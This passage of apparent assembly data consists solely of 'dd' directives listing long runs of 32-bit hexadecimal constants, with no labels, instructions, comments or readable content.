		dd 291248EFh, 0F25699BDh, 0CE2F1401h, 162F0E45h, 0E0C0A6CFh
		dd 2F7AD3F1h, 0D97ECCE4h, 85E9BB60h, 0F7F60214h, 0D7381EEBh
		dd 0A475DBC2h, 3E85F4Dh, 59345B4Ch, 38E5B993h, 539F70EDh
		dd 0E27A78E5h, 8DFA4D0Eh, 6D2DA29Ah, 0A54C5CB7h, 12F4B47Ch
		dd 0AF081407h, 766D970Bh, 0FA4DEB1Fh, 72C75540h, 0AB3413E3h
		dd 20DDAC9Ch, 60500906h, 0C075D48Ah, 69E780EDh,	0E6FF6615h
		dd 87411710h, 9F7BC96h,	0DE5652B4h, 92B36284h, 0FA6D8157h
		dd 31FD4DB7h, 4E1EFD2Bh, 15AC91BDh, 0A7EA258Ch,	0CCBFFE6h
		dd 0E969E149h, 2C8EF87Ah, 0F568D70Bh, 5D022909h, 359FC396h
		dd 0B9D1F9Dh, 0B4740A7Fh, 414D8D58h, 136731Fh, 64D4DB81h
		dd 0AD6B725Eh, 84AF92CEh, 0F7CAEEC4h, 11271CA0h, 4295ED44h
		dd 97425221h, 0ABA491F6h, 5DFD3B16h, 0EAF5958Eh, 0BF465B76h
		dd 8BA4D35h, 81260A39h,	6DA4F812h, 16F125BDh, 49F59EEh
		dd 9BFA1238h, 80465C62h, 83FDD9B9h, 0AB4000C7h,	1F5B8E18h
		dd 90BD0FDBh, 9765889Dh, 8B5BE9B8h, 1EBFDFC7h, 0CC015F43h
		dd 0A6E06981h, 0B14827F5h, 68B72758h, 4E5720C2h, 1D3D3442h
		dd 0D074B0D9h, 7971C4B5h, 409200E1h, 0E3F93BCCh, 1F1CB685h
		dd 838FA18Ch, 1BA622C4h, 0BFE67F6Eh, 0EB19681Eh, 5C0A3E40h
		dd 0E026691h, 5EB3A9D8h, 0BEC62532h, 59842B9Bh,	0AC28BDF8h
		dd 3B008C1Bh, 53139E76h, 0B7B0E26Fh, 97AED098h,	0D0F9B602h
		dd 7DF330F5h, 0C1B0B9DAh, 0B0E2120h, 0E9B5095Fh, 2C9C02D2h
		dd 0DC8A123Ah, 0FDF5F7E8h, 26EDA83Ah, 39F72894h, 72A53005h
		dd 2BC2F109h, 0D60A5F28h, 2243E83Bh, 0F380121Eh, 0AE20F3E5h
		dd 51163748h, 25E29105h, 1382F0Fh, 25F8A18h, 77089953h
		dd 39AD8C7h, 0E6D3752Ah, 486A3570h, 95053AECh, 0F2FC12B3h
		dd 5F220BF5h, 0F2AB77B0h, 0EEF72D4Ah, 439EB4EDh, 71F19F61h
		dd 0BB15C443h, 2E7FB178h, 7CCD54Bh, 5BF1366h, 339AFBE9h
		dd 32D6097h, 68255B01h,	42DFCCBFh, 0BD107A8Eh, 960B2839h
		dd 6E74DA8Bh, 0C47D769h, 2E30FD25h, 0B79D965Bh,	0A1DB01D0h
		dd 7B9D4901h, 0E1C92FE0h, 0D1C58104h, 0F0E63A1Fh, 8A3016F2h
		dd 1433486Fh, 482A1910h, 4B5D3B7Ah, 19F2D1A6h, 3225532h
		dd 7B7F30EDh, 10B4F80Eh, 6D652C13h, 800207FFh, 0BD29A0EBh
		dd 0B99722F5h, 0F1D0BF42h, 0C9245886h, 0E6676404h, 0C22CBC2Fh
		dd 0D48D0FFCh, 0B45694C5h, 5F4B5D32h, 69E36D77h, 9F02DF7Bh
		dd 75FFD3E4h, 6D88C90h,	0F4057000h, 8149FD6Fh, 12E10B73h
		dd 0E65C4D52h, 5D131DE2h, 355DA832h, 393003Fh, 9ADBECCCh
		dd 16736016h, 78D97309h, 9A379572h, 0B22E2A01h,	0C1CA9C2Bh
		dd 0F32909E4h, 448F3604h, 0D37FBD25h, 0A5A038B6h, 9D73F208h
		dd 3736DA09h, 807F7975h, 0E8FDF9BBh, 5B9F6A43h,	0C2567837h
		dd 9C471D09h, 4EE059C7h, 9280428h, 3D30D120h, 6D5DB750h
		dd 6BD8532Dh, 5BEC0B14h, 0B6BD9620h, 38C1AACh, 0A8B9F941h
		dd 0BAC54254h, 0EFB11C16h, 0F4AEAC3Bh, 0EBE043F6h, 2102D3A6h
		dd 660983BFh, 1D97596h,	8DFE5313h, 0AFCCDF81h, 702173DDh
		dd 2D897F08h, 73D17585h, 2BEB5CBh, 0AC205E8Ah, 25C7FC60h
		dd 17635A4h, 81237D20h,	0B23B8592h, 85338F4Ch, 38BA2D69h
		dd 9EAF5E3Ch, 0E07850C0h, 0A6340230h, 0D381CE96h, 0BA209C3h
		dd 93426E77h, 0B75D58FFh, 1B489304h, 4AFAC6F8h,	81A7A9D5h
		dd 5C9127BFh, 0BF3D2E5Dh, 0CA85E3Dh, 0F79BE927h, 14BF7920h
		dd 2EE5604Ch, 64B74730h, 88E87790h, 0E6F84E24h,	0FF1AC101h
		dd 0A70CCFBAh, 1DF1E8h,	0D04FCCB4h, 66A8BBCBh, 2347D824h
		dd 544BE20h, 130EB952h,	9D807090h, 0A1A418D9h, 2AE9F8F0h
		dd 0F7B86CFDh, 4E307A1Fh, 0E4EF8E45h, 1B05A6C1h, 5E1DDE06h
		dd 0D4A61518h, 0F6E5776Bh, 0BB09D525h, 9AB32058h, 23A8778h
		dd 0F2BDB1C9h, 0F640F020h, 0D1BD6650h, 0DE42D52h, 0DD06100h
		dd 0A84F34D7h, 24D4951Ah, 5F2C2FDEh, 7CC9107Fh,	0E4FA0CBBh
		dd 6052530Fh, 5DAE295Bh, 0D681C093h, 1CDF3772h,	7E9D8925h
		dd 0E6324EA8h, 331AB24Ch, 0B68DDE98h, 88411714h, 0C78009EDh
		dd 8547714Eh, 0D3D1B589h, 99ACFF79h, 0EFBD201Ah, 0BB781201h
		dd 4AC10838h, 0F49EBC2Bh, 6AAAC1BAh, 506E3E02h,	3E3A4A00h
		dd 609071B3h, 32004598h, 5B3DBBB8h, 97610CCBh, 0BE011654h
		dd 79C1BD56h, 0F0D6167Ah, 770FBAD2h, 924274Bh, 0AD603790h
		dd 740C9FEh, 2F0BAB21h,	0D67EA99Dh, 0E7FEF944h,	10A4F0C8h
		dd 2D6A037Ch, 0FAD8ADA5h, 3BBD23B1h, 0E912F0F8h, 8440E3EFh
		dd 233E1868h, 0BF7C0014h, 7BED825Eh, 0FC0BA298h, 5D7E42C5h
		dd 7EACEEB5h, 98594CE0h, 0B03E00EEh, 31AE68F4h,	2F580985h
		dd 2D0184EDh, 87B26042h, 5125BF72h, 64715Bh, 23096656h
		dd 4B022C8Eh, 0C54061F3h, 0C04E5CDEh, 0F2DBD89h, 6057DC9Fh
		dd 0B6ADA348h, 9BDA7700h, 0F5C8F450h, 4DA80918h, 6873CEB8h
		dd 0DA181A71h, 2D235600h, 0BB26E5C4h, 0B0131275h, 6964E36Ah
		dd 422F5FEEh, 9DDBBAB7h, 1D9BED81h, 5EE32C8Ah, 80D307ABh
		dd 3B7309F3h, 0B792682Fh, 7FDC9F14h, 44075908h,	6E16BA29h
		dd 0ACA831BAh, 0DDC20808h, 0FA25BE41h, 7E823C0h, 0B93E688h
		dd 77A5CF49h, 92FE5D8Bh, 0E2BE5F44h, 4C2E4898h,	28602666h
		dd 0F7193509h, 0B85FE046h, 17BA6E8h, 35166DB2h,	0E4FE92ECh
		dd 2E4C4F8Ah, 50D00235h, 5C615E03h, 0E1F99237h,	258D2033h
		dd 0C82B82A8h, 0C191BB01h, 0D18B431Ch, 0E9FE7E84h, 0DB44CC5Dh
		dd 49380DB8h, 2B44124Eh, 0BB2F12EBh, 22BB9388h,	33D2BC2Eh
		dd 0E972D8FAh, 0C4923458h, 70AE3161h, 0C9B5294Ch, 19220147h
		dd 0B4EDB323h, 895F8176h, 0FC4E4295h, 8EB7B8D7h, 0D4ED9D14h
		dd 9969E0EFh, 486E68B4h, 7AC0AD18h, 81C01BF0h, 926843Bh
		dd 0A0DCB17h, 3D89195Eh, 8E165D1Dh, 188B59Dh, 0DCB932C7h
		dd 189E2B0Fh, 0A2D44680h, 0CB05D3F0h, 398B3AB9h, 0F40045F2h
		dd 308F3DE6h, 710B688Dh, 26BB725h, 41241ACh, 4A19B85Bh
		dd 0BABCE1A9h, 0E09D087Eh, 5ABD96BAh, 5EF2E2FCh, 48642D91h
		dd 51FEC82Ah, 9A87AC00h, 935FFB74h, 4F1C0050h, 4A947720h
		dd 4C257DE2h, 61E3768Bh, 20C02B5Fh, 314B1D05h, 9AB35EEh
		dd 1973DA48h, 0DC1917F9h, 180ECBE4h, 325F5756h,	0D48099DBh
		dd 67384E7Ch, 0F65D822Fh, 219DC169h, 25EA060Ah,	3CC5142Dh
		dd 591B52Dh, 0BA4DD54Bh, 0D9B72861h, 0FD0ECF52h, 3DB59FE4h
		dd 0DDEA0003h, 0D52A9569h, 0E5B39601h, 0F8E7807Bh, 5B8AD920h
		dd 0F426A28Eh, 12A0C0B6h
		dd 2D029677h, 9DC549D9h, 1A71D5F1h, 1C18584h, 0DC0EC816h
		dd 9F966900h, 0E3F4B9FDh, 897A0E56h, 0F276DA19h, 785B2DBFh
		dd 2A99206Ah, 0C1493376h, 0C5612591h, 0BB87133Ah, 0C758A87Bh
		dd 3725AA4Ah, 382EAFC8h, 0F8045639h, 0F12C53E2h, 4ADE3A2Eh
		dd 84DDDC89h, 9AAEDFDBh, 0C817C8EDh, 504801DFh,	3E959D31h
		dd 0BFE14B40h, 4B92329Ah, 1C7A8A03h, 0FF270450h, 0D202E337h
		dd 5C4E2BB4h, 43F5071h,	40894FB5h, 7A1C2D6Bh, 1A5AF748h
		dd 1254AE42h, 8905DD2h,	0FB00BF09h, 5679D7F8h, 0E996040h
		dd 0E595922Dh, 82DBB92h, 0BB8A4BE3h, 540B066Eh,	0C5FC4C6Eh
		dd 60BDC404h, 5F156EEFh, 0B14152EEh, 23ED7FDFh,	0A121A697h
		dd 98822042h, 0F80A9BF3h, 0D2C57377h, 9F707857h, 7B567162h
		dd 0A05AFF91h, 6E95204Fh, 20574AA8h, 0D0B44160h, 0E1D36600h
		dd 2EE53CF2h, 0CFE3023Bh, 5B6B7C9Fh, 8160515Ch,	2F3BFED3h
		dd 0EA583F88h, 9C5E925h, 0C40F4DAAh, 0DCA3BAFEh, 0FCCB8701h
		dd 6EFA8A4Ch, 0C1A94C2h, 0CE00BF5Eh, 68577124h,	7A0A4246h
		dd 26A60950h, 52702C55h, 1541B91Fh, 5014F62Fh, 7EB7481Ah
		dd 0ADFDC474h, 0A844A79h, 0F79FA6FBh, 509BFCCBh, 98BD8A0Fh
		dd 2DEC5477h, 98DBD8E9h, 0EB431CD9h, 0AF13DC65h, 8480A98Ch
		dd 65859F88h, 0F4807E9Dh, 502B9616h, 25DF68E0h,	8FC2F98Ah
		dd 0E0C7A34Fh, 0B75CEBC0h, 8D294BD5h, 0CD9029Fh, 956666ABh
		dd 0C505F125h, 0D67CA6ABh, 0CF675B00h, 4BBC5773h, 0AC694F63h
		dd 0C4EFC064h, 0B28A1Fh, 7E78CE0Fh, 0CF8663F2h,	11E5BBA0h
		dd 5CD20982h, 4907DED1h, 5B5DFFF3h, 0D2A936D3h,	9ECE4CA0h
		dd 0E5461F14h, 5F0CE1B7h, 4D85844Eh, 96005671h,	54DE60BFh
		dd 68EF5005h, 0D7CC4AC8h, 8390B5F5h, 0C001E97h,	53AADAC4h
		dd 0E18F54h, 0BD4E68D6h, 0F5BF808Ch, 7799D12h, 0B10600BCh
		dd 727F9246h, 742F2925h, 0A0D6E92Fh, 0CD945220h, 0CCEDD49h
		dd 36A5EC00h, 1B69EBA8h, 0BA5F4A5Bh, 0BF6097C9h, 489073D8h
		dd 8C07FBF7h, 990C07D0h, 0CEB31C0Ah, 0B7CB32Bh,	1C46D6h
		dd 6A19F9E1h, 17A0B5B8h, 9B6126EFh, 0C746C124h,	0ED0196Dh
		dd 0B5890B8Bh, 9EF71E01h, 0DEEACBE5h, 0B51A982h, 97741CDDh
		dd 12ADA872h, 2FD661EFh, 0B72227E9h, 4E0EBCD7h,	6FABBCC4h
		dd 0F983B0BCh, 4205A5Bh, 925A22F9h, 4CDD6131h, 0D9B512FEh
		dd 8BC4E313h, 19DBF24h,	86A82B8Eh, 0FE7A94F6h, 3F4B1F3h
		dd 0C01C880Fh, 624C432Ch, 39ECD07Fh, 98FC742Fh,	95C0B7B0h
		dd 35451D1h, 0FF21241h,	0F7E9320Eh, 0A982C6B8h,	85C90C2h
		dd 5A6A0966h, 0E270EB2Dh, 3839EBBFh, 8DCA6096h,	803C2848h
		dd 5E1FB864h, 9AEB07A3h, 73F35210h, 0E8D42E2Fh,	0FD33A3Eh
		dd 0CE575650h, 965B255Fh, 0FFE0E0E6h, 0B02AA22h, 0BF621578h
		dd 7847D9Ah, 0F5CAEB2Ah, 22DF8104h, 0ACA3B9CFh,	3D128C16h
		dd 0BE09F813h, 67F25755h, 7AAA614Bh, 6C280759h,	7779045h
		dd 8966D680h, 4D7BB853h, 5B273F6Dh, 279A35F7h, 0E30371ECh
		dd 0B9BD2B52h, 0BC554E32h, 0DBAFF4E7h, 702A8086h, 2CF7A1B9h
		dd 11C3222Ch, 5F511771h, 0C5001EA2h, 0A726D5FAh, 877CF178h
		dd 56AB0997h, 0E200DC2Ch, 8660A79Eh, 97DFF07Eh,	4677A709h
		dd 52954EB3h, 0D36BAF79h, 76051D23h, 64FF5678h,	0D688AC9Eh
		dd 0B7E8EF84h, 6AB76A27h, 0CF7F2C84h, 0C7AF0CBBh, 6178DF06h
		dd 0D6DA811Fh, 744A309h, 3BE4E76Bh, 0B2BF64ABh,	29DF00ACh
		dd 0CE34986Fh, 347F5FD7h, 9884EF4Dh, 1081F852h,	172EE133h
		dd 0E317B6A9h, 0D3920A2Dh, 444826B6h, 0D59AEEFCh, 4DC414C8h
		dd 504437FBh, 0A6C4C0CFh, 0C48A7F4Bh, 0BB244E35h, 71BC6Fh
		dd 21523E80h, 3197AE08h, 5B11BD38h, 4B5B6AFAh, 4407398h
		dd 91D65B17h, 1BF165D8h, 0B201F67Eh, 0FA309018h, 174C12A6h
		dd 2FFDE187h, 80C27CBDh, 0CB5CE1EFh, 71F16Bh, 2D03C2F4h
		dd 4E166724h, 5EBD890Fh, 911F51A2h, 2397801Bh, 7F87A43Ch
		dd 0B0825AC2h, 0D3952A3Ah, 0B662A52Ah, 5BE01ACDh, 0B5EB8EE8h
		dd 1A6444EFh, 0CCA76A60h, 0DA2B7002h, 5C1FE977h, 0EBBD92D0h
		dd 0C197D65Dh, 0F205316Fh, 0ACF4DD17h, 1F9516B0h, 954F9BBBh
		dd 0DF18D8CAh, 50C21603h, 5A25BD09h, 6580B2DBh,	0C1CEB652h
		dd 0B834B204h, 0AEC5EC4Fh, 6A92E0FFh, 2DEE7BCh,	8CB30F6Dh
		dd 0DA832E15h, 0C88CE8B8h, 77135D63h, 0C6EEA32Bh, 692074A1h
		dd 0AF6AF222h, 0B8A640E9h, 85142B41h, 0BB6080Eh, 55152865h
		dd 5C0096Dh, 1BFF54Bh, 71A88818h, 3B3FE780h, 0E305E6B8h
		dd 9284F6CCh, 51200CADh, 3F4266h, 2E0F126Ch, 48B9D9BDh
		dd 0ECC8604Bh, 3EAF7079h, 0E180301Bh, 5258F58h,	0B018617h
		dd 1E2845F4h, 0AF725EDFh, 4895B09h, 680053BDh, 221680ABh
		dd 0BD3CB09Bh, 11AD2402h, 9DE369CFh, 0DE0B95B0h, 3B8F1BE9h
		dd 0E7CADD5Ch, 0BF5307B3h, 34D0D391h, 9F8F0F5Fh, 1825845h
		dd 571ABD9Dh, 0EC89A039h, 57C90485h, 494979D1h,	5B59E2FDh
		dd 0CA2F7039h, 0F4A8D900h, 0D8603980h, 21024E6Ah, 0E00DDDCDh
		dd 5707FFADh, 0A8D81B68h, 11405095h, 42022054h,	0E7B02C3h
		dd 0D91067E6h, 9D09DCA2h, 0BADF98C2h, 9530F75Eh, 6DE0A7EBh
		dd 98E93312h, 6F8907F3h, 99F36809h, 27FCE678h, 0A15457D3h
		dd 1259FF7Ah, 0C131FC0Ah, 55B92012h, 20D0E8D2h,	0B790001Fh
		dd 0BF52506Bh, 411E8292h, 53E55B5Fh, 0A0FEA789h, 8E35F7A5h
		dd 4238199Ch, 177BCA03h, 0FBA40DACh, 5D23A409h,	7B951814h
		dd 45511715h, 0AEC563AEh, 28E65584h, 7B6D54E1h,	82935FFCh
		dd 3D7D08E5h, 0E270095h, 0A094A59Ah, 0E0B17DE4h, 0C74F9980h
		dd 4B529DACh, 3501D81Eh, 34600141h, 0A3A3A3B0h,	92AEB45Fh
		dd 0A20EFA12h, 542DA7BFh, 0FF69259Fh, 0DD3DA817h, 52651BDh
		dd 0AE14E58Dh, 0CD1186E3h, 0BF92DF11h, 346FFBE1h, 2D55FC51h
		dd 86827122h, 8CE9AFBBh, 0E980DA4Bh, 4229BD0Bh,	32245428h
		dd 898C08BCh, 0C2D10D0Dh, 0C1E9FB68h, 0F70923F1h, 0B5F2709Eh
		dd 0EB50F341h, 0A1FFBAC0h, 0F287174Bh, 0C931C390h, 1239695Eh
		dd 2360D6FEh, 77F0EB2h,	0DAD63271h, 9D360034h, 723CD9E4h
		dd 59B52F15h, 0C7F88045h, 3879B3Fh, 1B203Eh, 0AFD17C6Dh
		dd 2D7DA828h, 72735F61h, 80FEF0B2h, 0E9D7DFBCh,	0BB19C061h
		dd 29FC890h, 5F269A97h,	1AA01610h, 0CF610803h, 0B08F054Dh
		dd 128859DCh, 0F140CD09h, 9EA92A34h, 12ECF98Ah,	4038F6F8h
		dd 204125C6h, 9624F104h, 6280A6ACh, 979B6F22h, 0AFCA1D02h
		dd 80D3344Bh, 5B8775D9h, 0E3955A31h, 9DDF849Fh,	7855CF11h
		dd 26F930A4h, 8D5EAD01h, 673397D6h, 58CEAF98h, 0B6773209h
		dd 0CA90FD09h, 98AA84B9h, 0F277A9C2h, 0FCE12DBDh, 0B8002071h
		dd 783D39D7h, 0EA710047h, 2D86E19Fh, 0A53DF809h, 1DACDFCAh
		dd 0FBFC5BC5h, 0A3D24F9Bh, 8D0104DAh, 61BA1DFDh, 0C46A636Bh
		dd 0E302BAABh, 0F6BECF7Ch, 0D4865669h, 0BC001B46h, 5FE6362Bh
		dd 0BB2775D4h, 0FCD790F5h, 7A6138EDh, 0D4B4A580h, 0F7A88248h
		dd 250BDD4Dh, 0DF39EA5Fh, 0D6E94DCDh, 2952409Ah, 125ECDB5h
		dd 0E2954BD3h, 7D365718h, 1CB4E3A0h, 4D094F2Dh,	9BDC5A5h
		dd 0A240A1E0h, 67AF880Dh, 1A263E40h, 82195E1Eh,	0FB7C0AE7h
		dd 0EFA0C649h, 1189F141h, 4DC9D6Bh, 84E2BEABh, 0C819DB0h
		dd 4AE38080h, 813BDB5Ch, 8D755E19h, 282BAC31h, 2A8B1FE8h
		dd 99235CEh, 31CD8D29h
		dd 0F6EEECDDh, 9CD1B57Dh, 5CE1FF42h, 4735080h, 0A23D9Fh
		dd 5E50E546h, 8B4B766Eh, 5F2D838Ah, 50D8A373h, 0B1AFA1F4h
		dd 623307C2h, 9C55124Dh, 7EF345F5h, 0BF603A8Ch,	9403E637h
		dd 98F215C8h, 98FC57B3h, 0DF8726FCh, 0E6AD1250h, 9C71B457h
		dd 6A703E59h, 0AB72259Fh, 0F07456C2h, 0A57D804Fh, 2FF8C3Dh
		dd 0BEC5603Ch, 455C6AACh, 5E01598Bh, 6907F493h,	858B67EAh
		dd 9D098B18h, 0FD12A9D5h, 6C49096Dh, 89D50C64h,	905DB1B5h
		dd 0F7FD524Fh, 68EEBF03h, 0FDDD26CBh, 0B59DB8D5h, 1C0F3F46h
		dd 41EE825Eh, 28F0F47h,	2AFE8A11h, 20BF2C13h, 2882C81h
		dd 92A19A01h, 6EA97D41h, 0B8008268h, 0B7685B65h, 764B8F9Dh
		dd 78B6E2h, 9ED98809h, 0E2D7FB2Ch, 0A3E668EEh, 44890F1Eh
		dd 90E0E552h, 909E1348h, 0B88FE976h, 80414F72h,	70EF8013h
		dd 591A7395h, 3F8181Bh,	30F4982Fh, 0D1FDC078h, 21AF55B3h
		dd 24287E61h, 23E80096h, 1A6BD9DFh, 0F4B57BE1h,	0CBE9070Dh
		dd 0A17C0B01h, 7E7417DEh, 4052EED6h, 0AC5F9FB3h, 3BA655DAh
		dd 0AAF526B9h, 0BBC98C9Ah, 2A408FF4h, 2F5F27h, 201B1019h
		dd 385111C3h, 3FAED8EFh, 0FC30B809h, 0A0867175h, 8C614996h
		dd 156D9D76h, 4C6BDBE0h, 31752CAAh, 27BD292Ah, 4E40744Fh
		dd 16751BA3h, 0EABD3356h, 4689A321h, 0B87DED7Eh, 806F4AB6h
		dd 75B96617h, 7D20E64Fh, 3FD4895h, 0F35030FCh, 69E839D4h
		dd 60B55E26h, 4F800FF0h, 5A7EB308h, 9796E4C8h, 800029B7h
		dd 0A2FB393Dh, 0B3C0125Dh, 0EAC9C56Fh, 41C0C0DEh, 64964CF7h
		dd 155C6E16h, 0F95A90E8h, 72680272h, 4118821Eh,	0ED24DE41h
		dd 9D1D3D8Dh, 8283DB5Bh, 0C08483CCh, 811F69D4h,	3CAC7BF5h
		dd 312D48DFh, 0FD169016h, 0BE32F0C1h, 387210A6h, 5009A74Bh
		dd 0E012CBE6h, 0E2BE640Ch, 4A92024Bh, 0F750A0B0h, 7B696B6Fh
		dd 4F562FC1h, 6C18E9C0h, 0BCDF4E8Bh, 1239B604h,	9E48E9FCh
		dd 0E04BC584h, 2FC4F4EEh, 28B0F18h, 2D54B323h, 9DF584B7h
		dd 0D8817180h, 14971710h, 0B454474h, 2FF955FAh,	4B324A38h
		dd 80579E04h, 8CE879E1h, 3D850038h, 9D0373ACh, 45B512F1h
		dd 1218954h, 24C765FDh,	0E412D627h, 0B7B3F55Dh,	0D2B3AC5Ah
		dd 0A24F55B3h, 0EB1807A6h, 0B9106939h, 19B2838h, 7EA68CCEh
		dd 0E8BCB610h, 9639CB55h, 0BB04F50h, 8AB54B9Dh,	60B64E21h
		dd 323D597Ch, 0A47FEB4Bh, 1CEB04Ah, 0A81254B5h,	0A0925D1h
		dd 0B579E5Eh, 4B90FE5Eh, 0D3BDDCC6h, 0DFB95ADEh, 71A96B09h
		dd 59B4158Ch, 9EBC1F4Ah, 0A05BA6B4h, 4B99957Eh,	0C8AA3548h
		dd 5B000A65h, 0B9B18D1Bh, 275F730h, 80EDC8FCh, 265C63E3h
		dd 0D0AB0916h, 12C3814Bh, 6F366512h, 0BA360FE1h, 0E64A60F0h
		dd 0F6A8BB01h, 15C99D29h, 802A702Eh, 87A3C1E7h,	0E57534DAh
		dd 0FAB5A7DCh, 6079CC2Fh, 0CB814621h, 1827B835h, 0E2DF5E5Dh
		dd 941C2F71h, 0F116D496h, 1E02967Ch, 57501640h,	0E449B9DEh
		dd 0EE960011h, 31D4AB2Ch, 0C012E191h, 488DB17h,	6E779Bh
		dd 0B860D992h, 77D699EBh, 5B6FFA0Bh, 0CB53ED96h, 0F76C92FFh
		dd 0B051A265h, 14F478F9h, 4ECC7A97h, 8D2DD846h,	0F52F352Dh
		dd 9D8597B8h, 60C92043h, 0F6A876h, 0BA98D58Ch, 0AC336552h
		dd 0A70B8926h, 161C4508h, 0D0FDC896h, 60A2E400h, 507AAA2Bh
		dd 96D9268Bh, 79E4DE47h, 0BD892904h, 0E2EE20CDh, 0EFACCFh
		dd 3A72DC8Bh, 47E82A96h, 6B5FE155h, 6881D2FCh, 2BF98501h
		dd 19885A9Eh, 0D21D2FC0h, 3863274Ch, 89D63FF7h,	9E718E32h
		dd 251C04A6h, 0C46971E5h, 50574B5Dh, 0E75F4ACAh, 0B57B5645h
		dd 0D133E0EFh, 2707E948h, 0E8B5F505h, 0B6601A13h, 9030ABFh
		dd 0BA95F9B5h, 0B1638FEh, 1685DABAh, 61FB1AA9h,	9F58DC6Fh
		dd 32808980h, 0CCEAAC3Eh, 0CEA40525h, 0AEF35CE9h, 6E01047Ah
		dd 37963193h, 0E17E89D5h, 0AEB6710Dh, 0E970D4A0h, 4A939548h
		dd 0F83AB0CDh, 33039625h, 270231BDh, 417B901Ah,	94F0043Ch
		dd 20EA5065h, 53D8FC7Ah, 0DC2A4200h, 3119FEE3h,	0F4C49F90h
		dd 9D40D43Dh, 0C900B5D8h, 0E4D3BBBFh, 3D820287h, 6A6D3AB3h
		dd 807FB757h, 6D37BE1Eh, 2D2F0A89h, 0C76290C5h,	796100CAh
		dd 50A3BD68h, 0D7F0808Ch, 2C26381Eh, 626E714Ah,	8F293F85h
		dd 0C54F42FEh, 0B05C0ECCh, 59257524h, 382688D2h, 0D725972Ch
		dd 8FB6BA66h, 4D47CDCh,	6667A4DBh, 87E4EE11h, 0F7D1978Dh
		dd 0FCA04EBDh, 0E0110BBEh, 0E4379061h, 0AAB1AC80h, 13EF9A78h
		dd 0BD6AE3B7h, 98BC3Bh,	774DE174h, 67735F9Bh, 6FEF175Fh
		dd 0B1B8024Ah, 0C02B097Eh, 0B520F139h, 6DA53EC5h, 84DE47BDh
		dd 0E971AE60h, 6309143Dh, 83D001AEh, 94B31768h,	1296F4F8h
		dd 0E282B07Ch, 0A0A29EA1h, 9D1BCDCAh, 73A5F579h, 96BB508Bh
		dd 1A5C903h, 9AAD2065h,	0EE35153h, 1CC04150h, 8260CA0h
		dd 0E0713D00h, 8E568FB3h, 5CFC0E49h, 23E25B43h,	0D6CBEDBDh
		dd 5F78E9C4h, 6BABDFC4h, 1A23CCh, 526BD180h, 6E5BE34Ch
		dd 908ACF83h, 970C84E9h, 3021C116h, 7B6D2738h, 0F56DE41h
		dd 125472FAh, 0E35FF88Bh, 8A9024AFh, 2B138628h,	8E5335BDh
		dd 23B76EAEh, 62920018h, 80D49D66h, 0A27FDF28h,	0BB96FE9h
		dd 2AF1BD82h, 0A76B45D7h, 754020EDh, 3F197E41h,	4C4CEDB1h
		dd 6A6CD7C1h, 73BC3B3Dh, 0A9FF129Eh, 0AC3FB973h, 20B716E0h
		dd 0FE4FF3ACh, 0CC350960h, 0B0697B9Eh, 0FBB109DCh, 0A9732BFAh
		dd 9D822010h, 0E6750B21h, 0C6E220BFh, 71E43EC4h, 0BDCF60EFh
		dd 128311C5h, 0AE7AF02Ch, 0BD333370h, 4B0B5381h, 0CFA2B71Eh
		dd 99A07116h, 1958BBB6h, 8ABF0297h, 42BB5CFDh, 8FC26BB3h
		dd 89957AD0h, 40D856B1h, 872F2DA4h, 8B68E714h, 0ECE1C0B3h
		dd 730B099Eh, 5E947111h, 1616EBF1h, 0C3B06152h,	0B1D1ECD9h
		dd 0C159AD32h, 60FB8292h, 2CC5DEB4h, 7503C82Fh,	0E95F6CA2h
		dd 0F8AE57Eh, 7B3B708Eh, 0BF01B2B1h, 39CDAE1Ah,	55E0002Eh
		dd 0D7814947h, 0A3B04B08h, 72214F63h, 103F3621h, 25316FBBh
		dd 0D6730FB8h, 0D9950185h, 0D540F622h, 6123DB9Ch, 22B9121h
		dd 0D72C5EBFh, 474ED771h, 0F1088E2Dh, 5BCAA5F5h, 5FCF08D5h
		dd 4D09A226h, 4294711Fh, 105B33Bh, 0C96485EAh, 72C26A78h
		dd 0AE5B0527h, 1CC94B9Ah, 99D37E30h, 917F6E07h,	0C004CEC7h
		dd 2D354280h, 561D5DB9h, 58E78009h, 0B4DF9470h,	957709D0h
		dd 78010D37h, 0C02B2A02h, 39F0D826h, 644F8F11h,	207A09B1h
		dd 5CF5244Bh, 47220A0Fh, 8511E29Bh, 63DC558Ch, 1D20E7A0h
		dd 649A9514h, 0B4D78A8Bh, 0FDD94A23h, 0D5958204h, 69EE752Fh
		dd 8D088143h, 42522F41h, 0CCCA7F0Ch, 913FB555h,	2CA8914h
		dd 751F3D05h, 60E05BE5h, 3032DE81h, 9520C975h, 3ECB1E7Dh
		dd 81A55961h, 1AB22ABFh, 0F282E3Ch, 0FC68A79h, 5B012375h
		dd 0E23CE1B5h, 0D5D0C22Fh, 0AABF0408h, 0BC5FC02Eh, 26F9357h
		dd 9630EA5Bh, 5B1258BFh, 946F8A3h, 71B49FD7h, 0DF0FBD3Fh
		dd 1C028409h, 0B777E1FFh, 87E22DBCh, 1E2D1882h,	5A639CD5h
		dd 0EC79BD3Ah, 4CCB0218h, 0FF8FB20Ah, 0E4B9715Fh, 0A241B8FCh
		dd 0EE922E2h, 0B772D320h, 997DDEh, 73BA1B92h, 8DC33C50h
		dd 9DA9604Ah, 7FE955B8h, 5CF5BBC2h, 92B72542h, 82D5260Bh
		dd 77E1808Bh, 6F8094B7h, 0D4AD6905h, 0E2741243h, 0C652E477h
		dd 0FA8B29C5h, 47EF6BAAh, 2F7901CBh, 9EE84B53h,	0FF7B093Eh
		dd 12A55571h, 4CE5D5DFh
		dd 0B909D54Bh, 2F50E5F7h, 529F9446h, 15BD1052h,	0A0F14B20h
		dd 956ACDFCh, 0EDCAA56h, 5CCA18A7h, 689EDDC0h, 172FBF3Dh
		dd 0C2FBE091h, 6F072044h, 0BA1D592Fh, 3A04F7FCh, 9265E81Bh
		dd 232FE7A3h, 443A957h,	18E90293h, 0A901AD16h, 0B5DAD9EBh
		dd 8FEDF5C2h, 0E0D46CE9h, 66120BE4h, 51F084BFh,	7ABB694Ah
		dd 66872560h, 0F3BD80C4h, 0BF5F5F18h, 0C512B16Fh, 707F2FDh
		dd 6554B1EEh, 22E261B0h, 0FC812EFh, 0CF79A889h,	95F2B51h
		dd 855134h, 0B3ABA9E0h,	32006768h, 0FB06A53Ch, 97800F11h
		dd 133FCCD3h, 6BAE5F6Bh, 11B23DBh, 0EA6BC9C4h, 0FB84F491h
		dd 0FFBD3327h, 6229EB07h, 92D512C1h, 333E692Fh,	0C9327A69h
		dd 0E6F7501Fh, 98759580h, 4306987h, 0DE8BA7C7h,	0D45ECD58h
